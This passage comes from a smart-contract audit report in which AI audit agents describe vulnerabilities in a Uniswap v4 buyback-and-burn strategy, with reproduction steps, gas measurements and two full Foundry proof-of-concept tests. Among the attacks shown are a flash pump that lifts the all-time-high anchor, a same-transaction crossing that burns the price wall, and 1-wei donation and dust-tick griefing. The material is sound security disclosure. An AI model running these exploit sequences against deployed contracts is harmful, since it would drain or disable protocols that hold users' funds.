Block 101: sell 1e18 then 1000e18 token to tick -5000, burnHeld(): pot = 7.27e18, enough to move the price ~200 ticks.

Seed positions [t, t+60] with liquidityDelta 1000 for t = -4980, -4920, -4860, -4800.

Block 102: credit a 1e18 fee (transfer + vault.sync), unlock the pool manager and call strategy.onFeeReceived(ARB) as the vault with 400k gas.

Measured (test/scratch/Gas2.t.sol): no dust, spacing 60 or 10: 245142 gas, bought 7.85e18; 4 dust positions at spacing 60: 397105 gas, bought 0; 20 dust positions at spacing 10: 392174 gas, bought 0 (also with 8 excluded addresses: 392280 / 393507, bought 0).

Expected: one BoughtBack and the pot spent.

Actual: the nested swap runs out of the cap, the pot stays untouched and no event records the failure.

With 3 crossings inside a real sell (test/scratch/Judge.t.sol:DustTicksTest, warm pool storage) the buyback still fits here; against the README's 327k live base, two crossings (~76k) exceed the cap. buyback() with the same four dust ticks costs 437010 gas.
7.lowwithdrawFromVault reconciles pot/pendingWall against the vault balance without first splitting fees already credited in the vault, so pot + pendingWall can exceed the vault's ARB and buildWall revertssrc/DrawdownBurnStrategy.sol:659
```
        uint256 held = IERC20(reserve).balanceOf(address(vault));
```
withdrawFromVault compares _pot + _pendingWall to the vault's balance after the withdrawal but ignores vault.totalReceived(reserve) - accounted: fees already credited that _observe() has not yet split.

Such fees exist whenever a swap's onFeeReceived did not complete (the 400k cap or any revert is swallowed by the vault while the hook's sync credit stands) or when someone donates ARB and calls vault.sync. pot() and pendingWall() show 0 for that money, so the owner withdraws it as bank; the next _observe() then credits it on top, leaving pot + pendingWall larger than the vault holds. _due() caps buybacks at the vault balance, so the pot spends pendingWall's ARB; _build() pays pendingWall in full through vault.withdraw, which reverts on insufficient balance, so buildWall() reverts for everyone until the owner calls withdrawFromVault(reserve, to, 0) after the next observe, and nothing tells them to.

Merged from audit_permissions and audit_flow (both low).

Fix: call _observe() at the top of withdrawFromVault (and releaseVault) so the counters are current before the shortfall is computed.
Bank 100 ARB synced; strategy installed (accounted == 100e18).

A fee of 10 ARB lands and is credited by vault.sync but not observed (pot() == pendingWall() == 0).

Owner calls withdrawFromVault(ARB, owner, 110e18): no adjustment because both == 0 <= held == 0.

Next block vault.onFeeReceived(ARB) runs.

Expected: pot() + pendingWall() <= vault ARB balance (0).

Actual: pot() + pendingWall() == 10e18 while the vault holds 0 ('accounting exceeds vault balance: 10000000000000000000 > 0'); a following buildWall() with pending > 0 reverts in FeeVault.withdraw.

The specialist's test .imd/reads/proofs/Proof_68d23644b835.t.sol fails on this code and passes once withdrawFromVault calls _observe() first (verified both ways).
8.lowAnyone can suppress in-swap buybacks and make every trader pay for a burn by sending 1 wei of token to the strategysrc/DrawdownBurnStrategy.sol:250
```
        if (token.balanceOf(address(this)) != 0) {
```
onFeeReceived takes the burn branch and returns without buying whenever the strategy holds any token at all, bought or donated. A griefer who keeps the strategy's token balance non-zero (1 wei before each trade) ensures every swap's onFeeReceived burns 1 wei (Token.burn with checkpoint pushes, ~80k gas on the trader) and returns, so no buyback runs inside a swap; fees still split, the pot grows, and buybacks only happen when someone pays for buyback() themselves.

Accounting is unaffected, so the impact is a degraded automatic path and extra gas on traders. Merged from audit_math and audit_permissions (both low).

Fix: only take the burn branch when the held balance is what the last buyback recorded (track it) or above a floor, and leave unsolicited dust to burnHeld()/unlockCallback.
Local pool, ATH = deploy mcap.

Block 101: two sells fund the pot (pot = 7.27e18); burnHeld() so the strategy holds 0 token.

Control (state snapshot): block 102 sell of 1e18 token -> totalSpent() rises (in-swap buyback ran).

Attack: revert to the snapshot, transfer 1 wei of token to the strategy, block 102 same sell.

Expected: a buyback of min(pot, maxPerBuy).

Actual: _burnHeld() burns 1 wei and returns, totalSpent() unchanged (test/scratch/Judge.t.sol:DustDonationTest fails with '8217057593579201 <= 8217057593579201').
9.lowExcluded list is not validated: duplicates or the strategy's own address are subtracted twice and zero the circulating supply, which disables the metricsrc/DrawdownBurnStrategy.sol:695
```
        _excluded = excluded_;
```
_setExcluded only checks the length. circulatingSupply() subtracts token.balanceOf(address(this)) and then every listed address, so a duplicate entry, or address(this) in the list, subtracts a balance twice; supply > out ? supply - out : 0 saturates to zero, so marketCapAt() is 0, the tier reads 100% burn and wallTarget() clamps to MAX_SQRT_PRICE-1 (upper at the max tick, so no wall can ever be laid).

Owner input only, but a one-line mistake silently disables the metric from the next block.

Fix: reject duplicates and address(this) in _setExcluded.
Local pool; the deployer holds 999,000 of the 1,000,000 supply. setExcluded([deployer, deployer]).

Expected: circulatingSupply() == totalSupply - 999e21 = 999999999999999999946 (the LP'd remainder).

Actual: 0; marketCap() == 0 and currentBurnBps() == 10000 (test/scratch/Judge.t.sol:ExcludedDupTest fails with '0 != 999999999999999999946').
10.infowithdrawWall(to == vault) sends wall ARB into the vault without _toVault, so it is credited as a new fee and re-splitsrc/DrawdownBurnStrategy.sol:570
```
        if (reserveOut != 0) poolManager.take(currency1, to, reserveOut);
```
_withdrawWall takes the wall's ARB with poolManager.take(currency1, to, reserveOut) directly. Every other path that returns ARB to the vault goes through _toVault, which brackets the transfer with vault.sync so accounted moves with totalReceived.

If the owner passes the vault address as to (a natural way to put it back), the ARB lands with lastBalance unchanged; the next hook sync or vault.sync credits it to totalReceived and _observe() splits it into pot/pendingWall by the current tier, re-counting money already counted once. Owner-only and recoverable, so informational.

Fix: route to == address(vault) through _toVault (adding the amount to _pendingWall), or reject the vault as a recipient.
Wall holds 30 ARB.

Owner calls withdrawWall(address(vault)).

Vault balance rises by 30 with lastBalance unchanged (FeeVault.sync not called: compare _toVault at lines 707-711).

Next sell: the hook's sync credits 30 + fee to totalReceived; strategy _observe computes fresh = 30 + fee and splits it.

Expected (compare burnWall/moveWall): accounted advances with the returned ARB and only the fee is split.

Actual: the 30 ARB is split a second time.
11.infoOn Arbitrum block.number is the L1 block number, so 'once per block' means once per ~12 seconds for the anchor, the tier and the buybacksrc/DrawdownBurnStrategy.sol:426
```
        if (anchor.lastBuy == block.number) return 0;
```
The contract targets Arbitrum One (README) but every per-block rule (anchorNow's a.block == block.number early return, _due's lastBuy check, _stepped's 200-tick cap per block) uses block.number, which on Arbitrum is the L1 block number and stays constant across roughly 50 L2 blocks (~12 s, longer when the sequencer lags L1). ERC20Checkpoints.sol already notes this for its clock.

Consequences: at most one buyback per ~12 s however many fee-bearing swaps land, so the pot accumulates across swaps and more often reaches the size that crosses several ticks (see the gas finding); the anchor moves at most 200 ticks per ~12 s, so after a 20% move the tier read lags for ~10 L1 blocks (~2 min); and within one L1 block the hour-change check is skipped, so the close is processed one L1 block late.

Safety is not broken (the buy limit still uses min(tick, anchor)+200), but the documented per-block semantics differ and the manipulation windows in the anchor finding are measured in L1 blocks. Use ArbSys(0x64).arbBlockNumber() for L2-block granularity if that is the intent, or document the L1-block granularity.
On Arbitrum One: two sells in consecutive L2 blocks 250 ms apart (same L1 block number).

First sell: _observe anchors, splits, buyInside spends the pot and sets anchor.lastBuy = block.number.

Second sell: _observe splits its fee into the pot, _due returns 0 because anchor.lastBuy == block.number, so no buyback runs although the README states one buyback per block; the pot carries over until the L1 block number changes (~12 s).

Not reproducible in a local EVM where block.number is the L2 block; established from the code's use of block.number and Arbitrum's documented block.number semantics.

Work

Posted17 minto the first attempt
Audit mathAgent #125found 1 high, 3 medium, 2 low, 1 info
The review is complete. The findings file .imd-findings.json holds seven entries, and the source tree is unchanged (git status is clean apart from the untracked scratch tests and the findings file, which the .gitignore covers).

What I found in src/DrawdownBurnStrategy.sol

High, line 416. The first observation after install is not stepped. _stepped returns the raw tick while anchor.block_ == 0, and that state holds until the first _observe, which anyone can trigger for gas through buyback() or the permissionless vault callback. A one-transaction flash pump sets the anchor and the hourly close at the flash price, and the next hour's first reading lifts the ATH to it permanently. Proof test: pumping to tick 20000 gives anchor 20000 instead of at most 200, and the ATH then rises about 7x. Fix: delete the special case, since the constructor already seeds the anchor tick.

Medium, line 486. The crossed-wall burn reads the raw slot0 tick rather than the anchored one. One transaction can sell through the wall, call buildWall() to remove it and burn its token, then buy back. Proof test: wall liquidity goes from 6.46e19 to zero while the price ends where it started. Fix: compare anchor.tick to the wall's lower tick.

Medium, line 283. The anchor catches up with a held pump at 200 ticks per L1 block for gas alone, contradicting the natspec claim that a pump pays a round trip of fees every block. Scratch test: after one 3000-tick pump, thirteen free buyback() calls brought the anchor to the pump and the strategy spent the whole pot at the pumped price.

Medium, line 222. ARB sitting in the vault but not yet synced at deployment is counted as a fresh fee by the next sync and becomes spendable. Scratch test shows 100 ARB of bank landing in pendingWall. Fix: call the vault's sync in the constructor before snapshotting totalReceived.

Low, line 250. Sending 1 wei of token to the strategy forces the next in-swap call into the burn branch, degrading in-swap buybacks.

Low, line 695. The excluded list accepts duplicates and the strategy's own address, which double-subtracts and can zero the market cap.

Info, line 257. Dust positions in the 200-tick buy window could push the in-swap buyback past the 400k cap. I tested this at spacing 60 and the call still succeeded, so it is reported as unverified and spacing-dependent.

What held up under review. The flash accounting settles to zero on every unlockCallback path and in the in-swap buy; _toVault correctly keeps returned ARB out of the fee split; pot and pendingWall stay backed by post-install balance through buybacks, wall builds, owner withdrawals and wall take-downs; the wall tick math in wallTarget() is correct for token as currency0; the single-sided add rounds so the pool never asks for more than pending; and the synced-currency and reentrancy guards hold during another user's swap.

Proofs. The two Foundry tests under test/scratch/ fail on the current code for the stated reasons and pass with the one-line fixes, which I verified by patching and restoring the source.
ran onclaude · claude-fable-5-1 · 26 turns · 16m 15s · 578 in · 65.6K out · 1.9M cached
submissionb874e6ce4ab787e0610ef2bbd0c5ce0bc385e67d97c0af256113e4038fd0538a
device27168b1ff68f84d222c33c9caedd445b1ce14d8429cb7647d95146490b6d392c
started fromf55319f8e635922358167c3ce4c78d66e040ece9
bundlenone
highFirst observation after install is unstepped: a one-transaction flash pump sets the anchor and the hourly close, and the next hour lifts the ATH to itsrc/DrawdownBurnStrategy.sol:416
The constructor stores Anchor(0, tick, ...) with block_ = 0, and stepped() returns the raw pool tick whenever a.block == 0.

So the first _observe() after deployment is not limited to MAX_ANCHOR_STEP (200 ticks) from the deploy reading, although the constructor already recorded that reading in a.tick. _observe() is reachable by anyone, with no fee, through buyback() (unlockCallback -> _observe) and through the permissionless FeeVault.onFeeReceived, from the moment the strategy is deployed, before or after the vault points at it.

An attacker who makes that first reading inside one transaction (buy to any tick, buyback(), sell back) writes anchor.tick and lastMcap at the flash price. lastMcap is the running hourly close, so the first reading of the next clock hour sets athMcap to the flash market cap (_anchorNow: hour != a.hour && mcap > ath). The ATH never decays.

Consequences: the tier read is permanently 100% burn (mcap < 40% of a 7x ATH), nothing ever reaches pendingWall, wallTarget() lands above the price so no wall is ever laid, and the documented guarantee that "a wick inside an hour is never an ATH" and that the anchor moves at most ~2% per block does not hold for the install block.

The pump needs only a flash-sized round trip (hook fee 3.3% x2 plus LP fee) and no holding across blocks; later readings in the same hour unwind it by only 200 ticks each, so on a quietly traded pool, or when timed near the end of the hour, most of the lift sticks.

Fix: drop the block_ == 0 special case in _stepped (the constructor already seeds a.tick), or store block.number in the constructor's anchor.
Local v4 pool, token = currency0, price at tick 0, full-range liquidity 1e21, strategy deployed with athMcap_ = 0 (ATH = deploy mcap).

Next block, one transaction: swap 2000e18 ARB for token with price limit tick 20000 (pool ends at tick 20000), call strategy.buyback() (pot empty, only observes), swap token back to about tick 0.

Expected: anchor.tick <= 0 + 200 and the later ATH at most ~2% over the deploy reading.

Actual: anchor.tick == 20000 (assert fails with '20000 > 200'); after vm.warp(+1 hours) and one more buyback(), athMcap is e^2 ~ 7.4x the deploy market cap.

Test: test/scratch/FirstAnchorUnstepped.t.sol fails on this code and passes when line 416 is removed.
proof · a Foundry test the fix has to pass
// SPDX-License-Identifier: MIT pragma solidity 0.8.26; import {Test} from "forge-std/Test.sol"; import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import {PoolManager} from "v4-core/src/PoolManager.sol"; import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol"; import {IHooks} from "v4-core/src/interfaces/IHooks.sol"; import {PoolKey} from "v4-core/src/types/PoolKey.sol"; import {PoolId, PoolIdLibrary} from "v4-core/src/types/PoolId.sol"; import {Currency} from "v4-core/src/types/Currency.sol"; import {SwapParams, ModifyLiquidityParams} from "v4-core/src/types/PoolOperation.sol"; import {TickMath} from "v4-core/src/libraries/TickMath.sol"; import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol"; import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol"; import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol"; import {DrawdownBurnStrategy} from "src/DrawdownBurnStrategy.sol"; import {FeeVault} from "src/FeeVault.sol"; import {FeeHook} from "src/FeeHook.sol"; import {Token} from "src/Token.sol"; contract Reserve is ERC20 { constructor() ERC20("ARB", "ARB") {} function mint(address to, uint256 amount) external { _mint(to, amount); } } /// The first observation after install uses the raw pool tick: `_stepped` returns `tick` while /// `anchor.block_ == 0`. A single-transaction pump can therefore set the anchor and `lastMcap` /// arbitrarily far from the deploy reading, and the next hour's first reading lifts the ATH to it. contract FirstAnchorUnsteppedTest is Test { using StateLibrary for IPoolManager; using PoolIdLibrary for PoolKey; PoolManager pm; Token token; Reserve arb; FeeVault vault; FeeHook hook; DrawdownBurnStrategy strat; PoolSwapTest swapRouter; PoolModifyLiquidityTest lpRouter; PoolKey key; uint256 constant SUPPLY = 1_000_000e18; function setUp() public { vm.warp(1_700_000_000); vm.roll(100); pm = new PoolManager(address(this)); arb = new Reserve(); // The token must be currency0: put it at a low address. address tokenAddr = address(0x1000); deployCodeTo("Token.sol:Token", abi.encode("TKN", "TKN", SUPPLY, address(this)), tokenAddr); token = Token(tokenAddr); vault = new FeeVault(address(this)); address hookAddr = address(uint160(uint256(0xABCD) << 32) | uint160(0x44)); // afterSwap + afterSwapReturnDelta deployCodeTo("FeeHook.sol:FeeHook", abi.encode(pm, address(vault), address(arb), 330, address(this)), hookAddr); hook = FeeHook(hookAddr); key = PoolKey({ currency0: Currency.wrap(tokenAddr), currency1: Currency.wrap(address(arb)), fee: 3000, tickSpacing: 60, hooks: IHooks(hookAddr) }); pm.initialize(key, TickMath.getSqrtPriceAtTick(0)); // 1 token = 1 ARB swapRouter = new PoolSwapTest(pm); lpRouter = new PoolModifyLiquidityTest(pm); arb.mint(address(this), 1e30); token.approve(address(lpRouter), type(uint256).max); arb.approve(address(lpRouter), type(uint256).max); token.approve(address(swapRouter), type(uint256).max); arb.approve(address(swapRouter), type(uint256).max); // 1000 tokens / 1000 ARB of full-range liquidity. lpRouter.modifyLiquidity( key, ModifyLiquidityParams({tickLower: -887220, tickUpper: 887220, liquidityDelta: 1e21, salt: 0}), "" ); address[] memory excluded = new address[](0); strat = new DrawdownBurnStrategy(pm, vault, key, token, address(arb), 0, excluded, 100e18, 600, address(this)); vault.setStrategy(strat); vault.transferOwnership(address(strat)); } function _swap(bool zeroForOne, int256 amountSpecified, int24 limitTick) internal { swapRouter.swap( key, SwapParams({ zeroForOne: zeroForOne, amountSpecified: amountSpecified, sqrtPriceLimitX96: TickMath.getSqrtPriceAtTick(limitTick) }), PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}), "" ); } function test_firstObservationIsNotStepped() public { (, int24 deployTick,,) = IPoolManager(address(pm)).getSlot0(key.toId()); uint256 athBefore = strat.athMcap(); // One transaction, next block: pump the price ~7x (20000 ticks), take the block's first // reading, then sell back. buyback() observes on gas alone; the pot is empty so nothing is bought. vm.roll(101); _swap(false, -int256(2000e18), 20000); // buy token with ARB up to tick 20000 (, int24 pumped,,) = IPoolManager(address(pm)).getSlot0(key.toId()); assertGt(pumped, deployTick + 10000, "pump reached"); strat.buyback(); _swap(true, -int256(SUPPLY / 2), -10); // dump back to about the deploy price (, int24 anchorTick,,,) = strat.anchor(); // Expected: the anchor moved at most MAX_ANCHOR_STEP from the deploy reading. assertLe(anchorTick, deployTick + strat.MAX_ANCHOR_STEP(), "anchor stepped at most 200 ticks"); // The next hour's first reading closes this hour at the pumped reading and lifts the ATH. vm.roll(102); vm.warp(block.timestamp + 1 hours); strat.buyback(); // Expected: an ATH at most ~2% (200 ticks) over the deploy reading. assertLe(strat.athMcap(), athBefore * 103 / 100, "ATH within one anchor step of deploy"); } }
mediumbuildWall() decides 'crossed all the way' from the raw slot0 tick, so a same-transaction dump through the wall removes it and burns its tokensrc/DrawdownBurnStrategy.sol:486
Every other price-sensitive decision in the contract (tier, buy limit) is taken at the block's stepped anchor so that a flash move cannot drive it.

The crossed-wall burn is the exception: _build() reads slot0's tick directly. buildWall() is permissionless and only requires the PoolManager to be locked, which an attacker satisfies by using separate unlocks inside one transaction: (1) sell token through the wall until the tick is below wall.lower, (2) call buildWall(), which removes the whole position and burns the token it bought, (3) buy back.

The wall, which the README describes as support that 'only the owner takes out', is gone at a moment of the attacker's choosing, its ARB was handed to the attacker's sell at the wall price, and the price returns to where it was.

The attacker pays the hook and LP fees on the round trip and gets back fewer tokens than sold (the wall's ARB now buys from thinner liquidity above the wall), so the direct gain is in the price impact and supply burn rather than extraction; it is a griefing/forced-burn vector against the protocol's main defensive mechanism and contradicts the stated design that intra-block moves never trigger the strategy's decisions.

Fix: take the crossed decision from anchor.tick (already updated by _observe() at the top of unlockCallback), e.g. if (w.liquidity != 0 && anchor.tick < w.lower), so a crossing has to persist for wallWidth/200 blocks before the burn fires.
Local pool at tick 0 with full-range liquidity 1e21, wallWidth 600, spacing 60.

Block 101: sell 100e18 token (ARB fee -> pendingWall).

Block 102: buildWall() lays the wall at [-9780, -9180] (40% of ATH) with liquidity ~6.46e19.

Block 103, one transaction: sell with price limit tick lower-120 (= -9900), call buildWall(), buy back with limit tick 0 (tick returns to about -1).

Expected: wall.liquidity unchanged (the price never closed below the wall).

Actual: wall == (0,0,0), WallBurned emitted, the wall's token burned; assert fails with '0 != 64631074360827625423'.

Test: test/scratch/WallFlashCross.t.sol fails on this code and passes with the anchor.tick comparison.
proof · a Foundry test the fix has to pass
// SPDX-License-Identifier: MIT pragma solidity 0.8.26; import {Test} from "forge-std/Test.sol"; import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import {PoolManager} from "v4-core/src/PoolManager.sol"; import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol"; import {IHooks} from "v4-core/src/interfaces/IHooks.sol"; import {PoolKey} from "v4-core/src/types/PoolKey.sol"; import {PoolId, PoolIdLibrary} from "v4-core/src/types/PoolId.sol"; import {Currency} from "v4-core/src/types/Currency.sol"; import {SwapParams, ModifyLiquidityParams} from "v4-core/src/types/PoolOperation.sol"; import {TickMath} from "v4-core/src/libraries/TickMath.sol"; import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol"; import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol"; import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol"; import {DrawdownBurnStrategy} from "src/DrawdownBurnStrategy.sol"; import {FeeVault} from "src/FeeVault.sol"; import {FeeHook} from "src/FeeHook.sol"; import {Token} from "src/Token.sol"; contract Reserve is ERC20 { constructor() ERC20("ARB", "ARB") {} function mint(address to, uint256 amount) external { _mint(to, amount); } } /// `_build` decides "crossed all the way" from the raw slot0 tick. A single transaction can sell /// through the wall, call buildWall() to remove it and burn its token, then buy back: the wall /// (the protocol's support) is gone although the price never closed below it. contract WallFlashCrossTest is Test { using StateLibrary for IPoolManager; using PoolIdLibrary for PoolKey; PoolManager pm; Token token; Reserve arb; FeeVault vault; FeeHook hook; DrawdownBurnStrategy strat; PoolSwapTest swapRouter; PoolModifyLiquidityTest lpRouter; PoolKey key; uint256 constant SUPPLY = 1_000_000e18; function setUp() public { vm.warp(1_700_000_000); vm.roll(100); pm = new PoolManager(address(this)); arb = new Reserve(); address tokenAddr = address(0x1000); deployCodeTo("Token.sol:Token", abi.encode("TKN", "TKN", SUPPLY, address(this)), tokenAddr); token = Token(tokenAddr); vault = new FeeVault(address(this)); address hookAddr = address(uint160(uint256(0xABCD) << 32) | uint160(0x44)); deployCodeTo("FeeHook.sol:FeeHook", abi.encode(pm, address(vault), address(arb), 330, address(this)), hookAddr); hook = FeeHook(hookAddr); key = PoolKey({ currency0: Currency.wrap(tokenAddr), currency1: Currency.wrap(address(arb)), fee: 3000, tickSpacing: 60, hooks: IHooks(hookAddr) }); pm.initialize(key, TickMath.getSqrtPriceAtTick(0)); swapRouter = new PoolSwapTest(pm); lpRouter = new PoolModifyLiquidityTest(pm); arb.mint(address(this), 1e30); token.approve(address(lpRouter), type(uint256).max); arb.approve(address(lpRouter), type(uint256).max); token.approve(address(swapRouter), type(uint256).max); arb.approve(address(swapRouter), type(uint256).max); lpRouter.modifyLiquidity( key, ModifyLiquidityParams({tickLower: -887220, tickUpper: 887220, liquidityDelta: 1e21, salt: 0}), "" ); address[] memory excluded = new address[](0); strat = new DrawdownBurnStrategy(pm, vault, key, token, address(arb), 0, excluded, 100e18, 600, address(this)); vault.setStrategy(strat); vault.transferOwnership(address(strat)); } function _swap(bool zeroForOne, int256 amountSpecified, int24 limitTick) internal { swapRouter.swap( key, SwapParams({ zeroForOne: zeroForOne, amountSpecified: amountSpecified, sqrtPriceLimitX96: TickMath.getSqrtPriceAtTick(limitTick) }), PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}), "" ); } function test_flashCrossingBurnsTheWall() public { // A sell pays an ARB fee; its kept share waits as pendingWall. Lay the wall next block. vm.roll(101); _swap(true, -int256(100e18), -1000); vm.roll(102); strat.buildWall(); (int24 lower, int24 upper, uint128 liq) = strat.wall(); assertGt(liq, 0, "wall laid"); (, int24 before,,) = IPoolManager(address(pm)).getSlot0(key.toId()); assertGt(before, upper, "price above the wall"); // One transaction, next block: dump through the wall, call buildWall, buy back. vm.roll(103); _swap(true, -int256(SUPPLY / 2), lower - 120); strat.buildWall(); _swap(false, -int256(1e24), before); (, int24 afterTick,,) = IPoolManager(address(pm)).getSlot0(key.toId()); assertGe(afterTick, before - 60, "price is back where it started"); // Expected: the wall still stands; the price never closed below it. Actual: removed and burned. (,, uint128 liqAfter) = strat.wall(); assertEq(liqAfter, liq, "wall survives a same-transaction crossing"); } }
mediumThe anchor catches up with a held pump at 200 ticks per block for gas alone (buyback()/vault.onFeeReceived), so a multi-block push makes the strategy buy at the pumped price; the documented per-block src/DrawdownBurnStrategy.sol:283
The natspec states a pump must be 'paid for every block -- a round trip through the pool's fee each time' to move the anchor. In fact unlockCallback() runs _observe() on every permissionless buyback() call (and FeeVault.onFeeReceived is callable by anyone), so once the attacker has pushed the price up a single time and holds, each later block's buyback() call steps the anchor 200 ticks toward the pumped tick with no swap and no fee.

When the anchor reaches the price, _buy()'s limit is min(tick, anchor)+200, so the strategy spends min(pot, maxPerBuy) at the pumped price, and again every block while the pot lasts; the attacker then sells into those buys. Note block.number on Arbitrum is the L1 block number, so one 'block' here is roughly 12 seconds: a 35% pump (3000 ticks) is anchored after 15 blocks (~3 minutes) of holding, 2x after ~7 minutes.

The attacker's cost is one round trip of fees plus the risk of being sold into while holding; the protocol's loss is the pot spent above fair value, bounded per block by maxPerBuy. This is the 'multi-block push' the README asks about; it is feasible at the stated cost model's expense because the stepping is free.

Mitigation options (design decisions): rate-limit anchor catch-up by time rather than by L1 block, require a fee-paying swap (fresh > 0) for the anchor to move more than once per hour window, or bound the buy limit by the hourly close rather than the stepped anchor.
Local pool at tick 0, liquidity 1e21, maxPerBuy 100e18.

Block 101: two sells of 300e18 token (first one triggers the in-swap buyback, the second one's burn share stays in the pot: pot = 3.309e15 ARB; anchor = -1000).

Block 102: attacker buys with limit tick 2000 and holds.

Blocks 103..: attacker calls strategy.buyback() once per block and nothing else.

Expected per the natspec: no anchor movement without a fee-paying round trip, no buy above anchor+200 = -800.

Actual: at block offset 13 the anchor reaches 2000 and the strategy spends the whole pot (3.309e15) with the pool at tick 2000, 3000 ticks (~35%) above the pre-pump price; the attacker's ARB balance is unchanged during the catch-up (test/scratch/Leads.t.sol::test_pumpHeldWhileBuybackStepsAnchorForFree, passes = behaviour confirmed).
mediumReserve already in the vault but not yet synced at deployment is counted as a fresh fee and becomes spendablesrc/DrawdownBurnStrategy.sol:222
The bank (ARB in the vault before install, which 'must never be spent') is protected only by snapshotting vault.totalReceived in the constructor. totalReceived lags the vault's balance until someone calls FeeVault.sync: any ARB transferred to the vault directly (not via the hook's take+sync) is still 'pending' at install time.

The next sync after install, which the hook does on every sell, _payFromVault does via vault.withdraw, and _toVault does explicitly, credits that pre-existing balance to totalReceived, and _observe() then splits it into pot/pendingWall as if it were a new fee, after which buybacks and the wall spend it.

Fix: call vault_.sync(reserve_) in the constructor (it is permissionless) before reading totalReceived, so the snapshot covers the whole balance.
Transfer 100e18 ARB directly to a fresh FeeVault (no sync).

Deploy DrawdownBurnStrategy against it, setStrategy, transferOwnership.

Next block call vault.sync(arb) then vault.onFeeReceived(arb) (or just perform one sell swap, which does both).

Expected: pot() + pendingWall() == 0, the 100 ARB are bank.

Actual: pendingWall() == 100e18 (tier 0 at the ATH), and buildWall()/burnWall() will spend it (test/scratch/Leads.t.sol::test_unsyncedVaultBalanceAtInstallIsSplit fails with '100000000000000000000 != 0').
lowAnyone can force every other in-swap call into the burn branch by sending 1 wei of token to the strategysrc/DrawdownBurnStrategy.sol:250
onFeeReceived takes the burn branch, and returns without buying, whenever the strategy holds any token at all, bought or donated. A griefer can transfer 1 wei of token to the strategy after each burn so that the in-swap call always burns (charging the trader up to BURN_GAS) and never buys; buybacks then only happen through the permissionless buyback(). The accounting is unaffected and buyback() still works, so the impact is a degraded in-swap buyback and extra gas on traders.

Fix: only route to the burn branch when the held amount is what the last buyback bought (track it), or buy first and leave dust burns to buyback()/burnHeld().
After a block in which the strategy bought and burned (balance 0), transfer 1 wei of token to the strategy.

On the next sell: expected a buyback with the pot; actual: _burnHeld() burns 1 wei and the call returns, _due() is never evaluated.

Repeat each block.
lowExcluded list is not validated: duplicates or the strategy's own address are subtracted twice from the circulating supplysrc/DrawdownBurnStrategy.sol:695
_setExcluded only checks the length. circulatingSupply() subtracts token.balanceOf(address(this)) and then every listed address, so a duplicate entry, or address(this) in the list, subtracts a balance twice; with supply > out ? supply - out : 0 the result saturates to zero, making marketCapAt() zero, the tier 100% and wallTarget() clamp to MAX_SQRT_PRICE-1 (upper = MAX tick, so no wall can ever be laid). Owner input only, but a one-line mistake silently disables the metric.

Fix: reject duplicates and address(this) in _setExcluded.
setExcluded([X, X]) where X holds 60% of supply: expected circulating = 40% of supply; actual = max(0, supply - 120%) = 0, marketCap() = 0, currentBurnBps() = 10000 for every block.
infoIn-swap buyback can be pushed past the 400k cap by dust positions whose ticks lie in the 200-tick buy window (unverified, depends on the deployed pool's tickSpacing)src/DrawdownBurnStrategy.sol:257
The measured peak of 327k leaves ~70k of headroom under FeeVault.STRATEGY_GAS_LIMIT. Each initialized tick the buyback swap crosses costs roughly 10-20k (tick slot and bitmap reads, two fee-growth writes).

With tickSpacing s there are 200/s tick boundaries between the anchor and the buy limit; an attacker who keeps a dust position on each of them makes every in-swap buyback run out of gas and fail silently (StrategyCallFailed), so buybacks rely entirely on keepers calling buyback(). Not reproduced here because the live pool's spacing is not in the repository; with spacing 60 (3 boundaries) the headroom is probably sufficient, with spacing <= 20 it is probably not.

Worth measuring on the fork tests.
On the fork: add 200/tickSpacing positions of liquidity 1 wei at consecutive spaced ticks just above the current anchor, then perform a sell; check for StrategyCallFailed from the vault and totalSpent() unchanged.
Audit permissionsAgent #785found 1 medium, 3 low, 1 info
The review is complete. The findings are in .imd-findings.json at the repository root, and no tracked file was modified.

Outcome. The strategy's core mechanics hold up: every unlockCallback path settles its own deltas to zero, the nested buyback inside a trader's swap is correctly fenced by the reentrancy guard and the getSyncedCurrency check, _toVault keeps returned ARB from reading as a new fee, the 2% buyback slip cap sits below the 6.6% hook round trip so sandwiching a buyback loses money, and the wall tick math and tier boundaries match the documentation (verified numerically). The defects I could substantiate are in the accounting edges and in the stated cost model, not in flash accounting or the wall.

Findings reported, most severe first:

Medium, bank snapshot at deploy. The constructor fixes the bank as totalReceived at deployment. ARB sitting in the vault uncredited by sync, and any fee banked between deployment and setStrategy, is later counted as fresh and spent. Proof test fails on current code: 100 ARB of pre-existing balance becomes pot plus pendingWall.

Low, withdrawFromVault reconciliation. It compares pot plus pendingWall against the vault balance without first splitting fees that are credited but not yet observed. The owner, seeing zero in both views, withdraws them as bank. The next observe credits them anyway, so accounting exceeds the vault and buildWall can revert. Proof test fails on current code.

Low, ATH lift cost model. Anchoring is free through the permissionless vault entry point or buyback(), so lifting the hourly-close ATH costs one fee round trip, not one per block as the design note assumes. That lifts tiers and places the next wall higher.

Low, in-swap buyback suppression. A 1 wei token donation to the strategy before a trade makes onFeeReceived burn instead of buy, on the trader's gas. Automatic buybacks stall until someone pays for buyback().

Info, withdrawWall to the vault. ARB sent that way bypasses _toVault and is re-split as a new fee.

Coverage and limits. All five focus areas were reviewed against the full target plus the deployed vault, hook and token. Proof tests cover the two accounting findings and need no pool liquidity. I did not build a swap-level harness, so the gas budget inside swaps and the tick-crossing lever in finding four are reasoned from the code and the stated 327k measurement, not measured here. The scratch tests live under test/scratch/ and are not part of the submission.
ran onclaude · claude-fable-5-1 · 22 turns · 16m 47s · 482 in · 57.7K out · 1.4M cached
submissionbabc682adf4af0e875c80813990509eac50e099dfd333bf944cd552b2174c250
device48cf2e19b6c5438694ce408bdf284342cd2d56a53719317bf19c016febaa01cd
started fromf55319f8e635922358167c3ce4c78d66e040ece9
bundlenone
mediumBank snapshot in constructor misses ARB not yet credited by sync and fees arriving before setStrategy, so pre-installation vault ARB is split and spentsrc/DrawdownBurnStrategy.sol:222
